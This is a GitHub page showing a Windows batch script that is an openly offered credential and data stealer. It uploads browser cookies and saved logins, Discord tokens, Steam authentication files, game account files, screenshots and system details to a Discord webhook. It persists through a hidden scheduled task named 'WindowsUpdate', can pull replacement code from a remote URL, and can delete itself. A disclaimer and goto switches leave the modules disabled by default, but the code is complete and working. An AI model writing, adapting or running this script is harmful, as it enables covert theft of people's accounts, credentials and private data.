-
Notifications
You must be signed in to change notification settings - Fork 8
/
file.bat
426 lines (361 loc) · 18.6 KB
/
file.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
@echo off
:: BY REMOVING THE GOTO(s) YOU AGREE TO NOT USE THE SCRIPT FOR MALICIOUS PURPOSES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY HARM CAUSED BY THE SCRIPT.
:: SOME GOTO(s) ARE NECESSARY, SO WATCH WHAT YOU REMOVE.
goto remove_this_if_you_agree_to_follow_the_TOS
:: Path of the hide location - If the path has the user's username, it will not work for those who have a space. Task Scheduler doesn't support that. This is part of the recurring method.
set "vpath=C:\ProgramData"
cd %vpath%
:: If using onlogin on Task Scheduler use this - Might give away your file though - You don't need administrator for anything else currently.
goto skipadministrator
if not "%~dp0"=="%vpath%\" (
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
)
:skipadministrator
:: SET WEBHOOK | EDIT TO YOUR OWN WEBHOOK
:: --------------------------------------
set "webhook=https://discord.com/api/webhooks/"
:: GET PRIVATE IP ADDRESS
:: ----------------------
for /f "delims=[] tokens=2" %%a in ('2^>NUL ping -4 -n 1 %ComputerName% ^| findstr [') do set NetworkIP=%%a
:: GET PUBLIC IP ADDRESS
:: ---------------------
for /f %%a in ('powershell Invoke-RestMethod api.ipify.org') do set PublicIP=%%a
:: GET TIME
:: --------
for /f "tokens=1-4 delims=/:." %%a in ("%TIME%") do (
set HH24=%%a
set MI=%%b
)
:: SEND FIRST REPORT MESSAGE WITH SOME INFO
:: ----------------------------------------
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```[Report from %USERNAME% - %PublicIP%]\nLocal time: %HH24%:%MI%```\"}" %webhook%
:: SCREENSHOT - REMOVE GOTO IF YOU WANT TO TAKE A SCREENSHOT WHEN RUN
:: ------------------------------------------------------------------
goto skipscreenshot
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```Screenshot @ %HH24%:%MI%```\"}" %webhook%
set "ssurl=https://github.com/chuntaro/screenshot-cmd/blob/master/screenshot.exe?raw=true"
IF EXIST "s.exe" GOTO waitloop3
curl --silent -L --fail "%ssurl%" -o s.exe
>NUL attrib "%vpath%\s.exe" +h
:waitloop3
IF EXIST "s.exe" GOTO waitloopend3
timeout /t 5 /nobreak > NUL
:waitloopend3
2> NUL s.exe -wh 1e9060a -o s.png
curl --silent --output /dev/null -F ss=@"%vpath%\s.png" %webhook%
2>NUL del "%vpath%\s.png"
:skipscreenshot
:: SYSTEM INFORMATION - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipsysteminfocapture
set "tempsys=%appdata%\sysinfo.txt"
2>NUL SystemInfo > "%tempsys%"
curl --silent --output /dev/null -F systeminfo=@"%tempsys%" %webhook%
del "%tempsys%" >nul 2>&1
:skipsysteminfocapture
:: TASK LIST - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skiptasklist
set "temptasklist=%appdata%\tasklist.txt"
2>NUL tasklist > "%temptasklist%"
curl --silent --output /dev/null -F tasks=@"%temptasklist%" %webhook%
del "%temptasklist%" >nul 2>&1
:skiptasklist
:: NET USER - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipnetuser
set "netuser=%appdata%\netuser.txt"
2>NUL net user > "%netuser%"
curl --silent --output /dev/null -F tasks=@"%netuser%" %webhook%
del "%netuser%" >nul 2>&1
:skipnetuser
:: QUSER - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipquser
set "quser=%appdata%\quser.txt"
2>NUL quser > "%quser%"
curl --silent --output /dev/null -F tasks=@"%quser%" %webhook%
del "%quser%" >nul 2>&1
:skipquser
:: STARTUP PROGRAMS - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipstartupprograms
set "stup=%appdata%\stup.txt"
2>NUL reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run >> "%stup%"
curl --silent --output /dev/null -F tasks=@"%stup%" %webhook%
del "%stup%" >nul 2>&1
:skipstartupprograms
:: CMDKEY - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipcmdkey
set "cmdkey=%appdata%\cmdkey.txt"
2>NUL cmdkey /list > "%cmdkey%"
curl --silent --output /dev/null -F tasks=@"%cmdkey%" %webhook%
del "%cmdkey%" >nul 2>&1
:skipcmdkey
:: IPCONFIG /ALL - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------------------
goto skipipconfig
set "ipconfig=%appdata%\ipconfig.txt"
2>NUL ipconfig /all > "%ipconfig%"
curl --silent --output /dev/null -F tasks=@"%ipconfig%" %webhook%
del "%ipconfig%" >nul 2>&1
:skipipconfig
:: CHROME - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ------------------------------------------------------
goto skipchrome
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- CHROME -```\"}" %webhook%
curl --silent --output /dev/null -F c=@"%localappdata%\Google\Chrome\User Data\Default\Cookies" %webhook%
curl --silent --output /dev/null -F h=@"%localappdata%\Google\Chrome\User Data\Default\History" %webhook%
timeout /t 2 /nobreak > NUL
curl --silent --output /dev/null -F s=@"%localappdata%\Google\Chrome\User Data\Default\Shortcuts" %webhook%
curl --silent --output /dev/null -F b=@"%localappdata%\Google\Chrome\User Data\Default\Bookmarks" %webhook%
curl --silent --output /dev/null -F l=@"%localappdata%\Google\Chrome\User Data\Default\Login Data" %webhook%
timeout /t 2 /nobreak > NUL
curl --silent --output /dev/null -F l=@"%localappdata%\Google\Chrome\User Data\Local State" %webhook%
timeout /t 2 /nobreak > NUL
:skipchrome
:: OPERA - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: -----------------------------------------------------
goto skipopera
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- OPERA -```\"}" %webhook%
curl --silent --output /dev/null -F c=@"%appdata%\Opera Software\Opera Stable\Cookies" %webhook%
curl --silent --output /dev/null -F h=@"%appdata%\Opera Software\Opera Stable\History" %webhook%
timeout /t 2 /nobreak > NUL
curl --silent --output /dev/null -F s=@"%appdata%\Opera Software\Opera Stable\Shortcuts" %webhook%
curl --silent --output /dev/null -F b=@"%appdata%\Opera Software\Opera Stable\Bookmarks" %webhook%
curl --silent --output /dev/null -F l=@"%appdata%\Opera Software\Opera Stable\Login Data" %webhook%
timeout /t 2 /nobreak > NUL
:skipopera
:: VIVALDI - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: -------------------------------------------------------
goto skipvivaldi
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- VIVALDI -```\"}" %webhook%
curl --silent --output /dev/null -F c=@"%localappdata%\Vivaldi\User Data\Default\Cookies" %webhook%
curl --silent --output /dev/null -F h=@"%localappdata%\Vivaldi\User Data\Default\History" %webhook%
timeout /t 2 /nobreak > NUL
curl --silent --output /dev/null -F s=@"%localappdata%\Vivaldi\User Data\Default\Shortcuts" %webhook%
curl --silent --output /dev/null -F b=@"%localappdata%\Vivaldi\User Data\Default\Bookmarks" %webhook%
curl --silent --output /dev/null -F l=@"%localappdata%\Vivaldi\User Data\Default\Login Data" %webhook%
timeout /t 2 /nobreak > NUL
:skipvivaldi
:: FIREFOX - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: -------------------------------------------------------
goto skipfirefox
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- FIREFOX -```\"}" %webhook%
for /f %%f in ('2^>NUL dir /b "%appdata%\Mozilla\Firefox\Profiles"') do (
curl --silent --output /dev/null -F level=@"%appdata%\Mozilla\Firefox\Profiles\%%f\logins.json" %webhook%
timeout /t 2 /nobreak > NUL
curl --silent --output /dev/null -F level=@"%appdata%\Mozilla\Firefox\Profiles\%%f\key3.db" %webhook%
curl --silent --output /dev/null -F level=@"%appdata%\Mozilla\Firefox\Profiles\%%f\key4.db" %webhook%
curl --silent --output /dev/null -F level=@"%appdata%\Mozilla\Firefox\Profiles\%%f\cookies.sqlite" %webhook%
timeout /t 2 /nobreak > NUL
)
)
:skipfirefox
:: osu! - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ----------------------------------------------------
goto skiposu
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- osu! -```\"}" %webhook%
curl --silent --output /dev/null -F c=@"%localappdata%\osu!\osu!.%username%.cfg" %webhook%
:skiposu
:: DISCORD - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: -------------------------------------------------------
goto skipdiscord
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- DISCORD -```\"}" %webhook%
for /f %%f in ('2^>NUL dir /b "%appdata%\discord\Local Storage\leveldb\"') do (
echo %%f|find ".ldb"
if errorlevel 1 (@echo off) else (
curl --silent --output /dev/null -F level=@"%appdata%\discord\Local Storage\leveldb\%%f" %webhook%
timeout /t 2 /nobreak > NUL
)
)
:skipdiscord
:: STEAM - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: -----------------------------------------------------
goto skipsteam
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- STEAM -```\"}" %webhook%
curl --silent --output /dev/null -F steamusers=@"C:\Program Files (x86)\Steam\config\loginusers.vdf" %webhook%
curl --silent --output /dev/null -F loginusers=@"C:\Program Files\Steam\config\loginusers.vdf" %webhook%
for /f %%s in ('2^>NUL dir /b "C:\Program Files (x86)\Steam\"') do (
echo %%s|find "ssfn"
if errorlevel 1 (@echo off) else (
curl --silent --output /dev/null -F auth=@"C:\Program Files (x86)\Steam\%%s" %webhook%
timeout /t 2 /nobreak > NUL
)
)
for /f %%s in ('2^>NUL dir /b "C:\Program Files\Steam\"') do (
echo %%s|find "ssfn"
if errorlevel 1 (@echo off) else (
curl --silent --output /dev/null -F auth=@"C:\Program Files\Steam\%%s" %webhook%
timeout /t 2 /nobreak > NUL
)
)
:skipsteam
:: MINECRAFT - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ---------------------------------------------------------
goto skipminecraft
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- MINECRAFT -```\"}" %webhook%
curl --silent --output /dev/null -F steamusers=@"%appdata%\.minecraft\launcher_profiles.json" %webhook%
curl --silent --output /dev/null -F steamusers=@"%appdata%\.minecraft\launcher_accounts.json" %webhook%
timeout /t 2 /nobreak > NUL
:skipminecraft
:: GROWTOPIA - REMOVE THE GOTO IF YOU WANT IT TO BE CAPTURED
:: ---------------------------------------------------------
goto skipgrowtopia
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```- GROWTOPIA -```\"}" %webhook%
curl --silent --output /dev/null -F save.dat=@"%localappdata%\Growtopia\save.dat" %webhook%
timeout /t 2 /nobreak > NUL
:skipgrowtopia
:: OTHER
:: -----
:: DO NOT EDIT
set "recurring=false"
:: RECURRING - REMOVE THE GOTO IF YOU WANT IT | MAKES TASK SCHEDULER OPEN THE FILE | UPDATER CAN BE ENABLED TO UPDATE THE BATCH | CAN TARGET USERS
:: ----------------------------------------------------------------------------------------------------------------------------
goto skiprecurring
:: Change attributes to make editing files possible
>NUL attrib -h "%vpath%\%uname%"
>NUL attrib -h "%vpath%\%bname%"
>NUL attrib -h "%vpath%\%vname%"
:: MINUTE (1 - 1439 minutes), HOURLY (1 - 23 hours), DAILY (1 - 365 days), WEEKLY (1 - 52 weeks), MONTHLY (1 - 12 months/ lastday), ONCE, ONSTART (DOESN'T REALLY WORK), ONLOGON (REQUIRE ADMINISTRATOR & UPDATER NOT TESTED WITH THIS. FILES MADE WITH ADMINISTRATOR PERMS MAY NOT BE EDITABLE BY THE UPDATER.)
set "when=Daily"
:: Name that will show up on Task Scheduler. Default = WindowsUpdate
set "ScheduleName=WindowsUpdate"
:: Name of this batch file's copy to the selected path. Default = 0.bat
set "bname=0.bat"
:: Name of the updater batch. Default = 1.bat
set "uname=1.bat"
:: Name of the VBS file that will be hidden and executed by task scheduler, the file opens the batch hiddenly. Default = 0.vbs
set "vname=0.vbs"
:: Task Scheduler runs a downloader, it will download the text from your URL and replace it with the current batch file. Needs to be raw link. Leave blank to skip.
set "updateurl="
:: Target computer's username (Case sensitive) | Leave blank to skip.
set "targetusername="
del /ah "%vpath%\%uname%" >nul 2>&1
del /ah "%vpath%\%vname%" >nul 2>&1
:: Copy the batch to the hidden location
if not "%~dp0"=="%vpath%\" (
del /ah "%vpath%\%bname%" >nul 2>&1
>NUL copy "%~f0" "%vpath%\%bname%"
)
if "%updateurl%"=="" (
:normalrecurring
echo set WshShell = wscript.createobject^("WScript.shell"^)> "%vpath%\%vname%"
echo WshShell.run """%vpath%\%bname%"" ", 0, true>> "%vpath%\%vname%"
echo set WshShell = Nothing>> "%vpath%\%vname%"
:: DO NOT REMOVE
goto skipupdateconfig
) else ( goto recurringupdate )
goto dontremoveme
:recurringupdate
:: IF TARGET USERNAME IS SET
if "%targetusername%"=="" (
goto nontargetedupdate
) else ( goto targetedupdate )
goto dontremoveme2
:nontargetedupdate
:: TARGET USERNAME IS NOT SET, UPDATING ON EVERY COMPUTER
IF EXIST "%vpath%\temp.txt" del "%vpath%\temp.txt" >nul 2>&1
:: Change VBS
echo set WshShell = wscript^.createobject^("WScript.shell"^)> "%vpath%\%vname%"
echo WshShell^.run """%vpath%\%uname%"" ", 0, true>> "%vpath%\%vname%"
echo set WshShell = Nothing>> "%vpath%\%vname%"
:: Make updater batch
echo ^@echo off> "%vpath%\%uname%"
echo cd "%vpath%">> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" 2^>NUL del "%vpath%\temp.txt">> "%vpath%\%uname%"
echo ^>NUL attrib -h %bname%>> "%vpath%\%uname%"
echo ^>NUL attrib -h %uname%>> "%vpath%\%uname%"
echo ^>NUL attrib -h %vname%>> "%vpath%\%uname%"
echo curl --silent --output /dev/null -sb --trace-ascii "Accept: text/plain" %updateurl% ^> "%vpath%\temp.txt">> "%vpath%\%uname%"
echo :wl>> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" GOTO w2>> "%vpath%\%uname%"
echo timeout /t 1 >> "%vpath%\%uname%"
echo goto wl>> "%vpath%\%uname%"
echo :w2>> "%vpath%\%uname%"
echo 2^>NUL del %bname%>> "%vpath%\%uname%"
echo ren temp.txt %bname%>> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" 2^>NUL del "%vpath%\temp.txt">> "%vpath%\%uname%"
echo break^>%vname%>> "%vpath%\%uname%"
echo echo set WshShell = wscript^.createobject^("WScript.shell"^)^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo WshShell^.run """%vpath%\%bname%"" ", 0, true^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo set WshShell = Nothing^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo start %vname%>> "%vpath%\%uname%"
echo timeout 1 ^>nul>> "%vpath%\%uname%"
echo break^>%vname%>> "%vpath%\%uname%"
echo echo set WshShell = wscript^.createobject^("WScript.shell"^)^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo WshShell^.run """%vpath%\%uname%"" ", 0, true^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo set WshShell = Nothing^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%vname%" +h>> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%bname%" +h>> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%uname%" +h>> "%vpath%\%uname%"
goto skipupdateconfig
:dontremoveme2
goto dontremoveme3
:targetedupdate
:: TARGET USERNAME IS SET, UPDATING ON TARGET PC
IF "%USERNAME%"=="%targetusername%" (
IF EXIST "%vpath%\temp.txt" 2>NUL del "%vpath%\temp.txt"
:: Change VBS
echo set WshShell = wscript^.createobject^("WScript.shell"^)> "%vpath%\%vname%"
echo WshShell^.run """%vpath%\%uname%"" ", 0, true>> "%vpath%\%vname%"
echo set WshShell = Nothing>> "%vpath%\%vname%"
:: Make updater batch
echo ^@echo off> "%vpath%\%uname%"
echo cd "%vpath%">> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" 2^>NUL del "%vpath%\temp.txt">> "%vpath%\%uname%"
echo ^>NUL attrib -h %bname%>> "%vpath%\%uname%"
echo ^>NUL attrib -h %uname%>> "%vpath%\%uname%"
echo ^>NUL attrib -h %vname%>> "%vpath%\%uname%"
echo curl --silent --output /dev/null -sb --trace-ascii "Accept: text/plain" %updateurl% ^> "%vpath%\temp.txt">> "%vpath%\%uname%"
echo :wl>> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" GOTO w2>> "%vpath%\%uname%"
echo timeout /t 1 >> "%vpath%\%uname%"
echo goto wl>> "%vpath%\%uname%"
echo :w2>> "%vpath%\%uname%"
echo 2^>NUL del %bname%>> "%vpath%\%uname%"
echo ren temp.txt %bname%>> "%vpath%\%uname%"
echo IF EXIST "%vpath%\temp.txt" 2^>NUL del "%vpath%\temp.txt">> "%vpath%\%uname%"
echo break^>%vname%>> "%vpath%\%uname%"
echo echo set WshShell = wscript^.createobject^("WScript.shell"^)^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo WshShell^.run """%vpath%\%bname%"" ", 0, true^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo set WshShell = Nothing^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo start %vname%>> "%vpath%\%uname%"
echo timeout 1 ^>nul>> "%vpath%\%uname%"
echo break^>%vname%>> "%vpath%\%uname%"
echo echo set WshShell = wscript^.createobject^("WScript.shell"^)^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo WshShell^.run """%vpath%\%uname%"" ", 0, true^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo echo set WshShell = Nothing^>^> "%vpath%\%vname%">> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%vname%" +h>> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%bname%" +h>> "%vpath%\%uname%"
echo ^>NUL attrib "%vpath%\%uname%" +h>> "%vpath%\%uname%"
goto skipupdateconfig
) else ( goto normalrecurring )
:dontremoveme3
:dontremoveme
:skipupdateconfig
:: Make a scheduled task so the VBS -> Batch be ran every X
>NUL SchTasks /create /f /sc %when% /tn "%ScheduleName%" /tr "%vpath%\%vname%"
if errorlevel 0 (set "recurring=true, %when%") else (set "recurring=failed, %when%, is probably incorrect.")
:: Hide batch & VBS
>NUL attrib "%vpath%\%vname%" +h
>NUL attrib "%vpath%\%bname%" +h
>NUL attrib "%vpath%\%uname%" +h
:: END OF RECURRING METHOD
:: -----------------------
:skiprecurring
:: SEND REPORT ENDED MESSAGE
:: -------------------------
curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```Batch Scheduled: %recurring%\n[End of report]```\"}" %webhook%
:: SELF DELETE AFTER EXECUTION
:: ---------------------------
goto skipselfdelete
if not "%~dp0"=="%vpath%\" (
call :d & exit /b
:d
start /b "" cmd /c 2^>NUL del "%~f0"&exit /b
)
:skipselfdelete
:remove_this_if_you_agree_to_follow_the_TOS
exit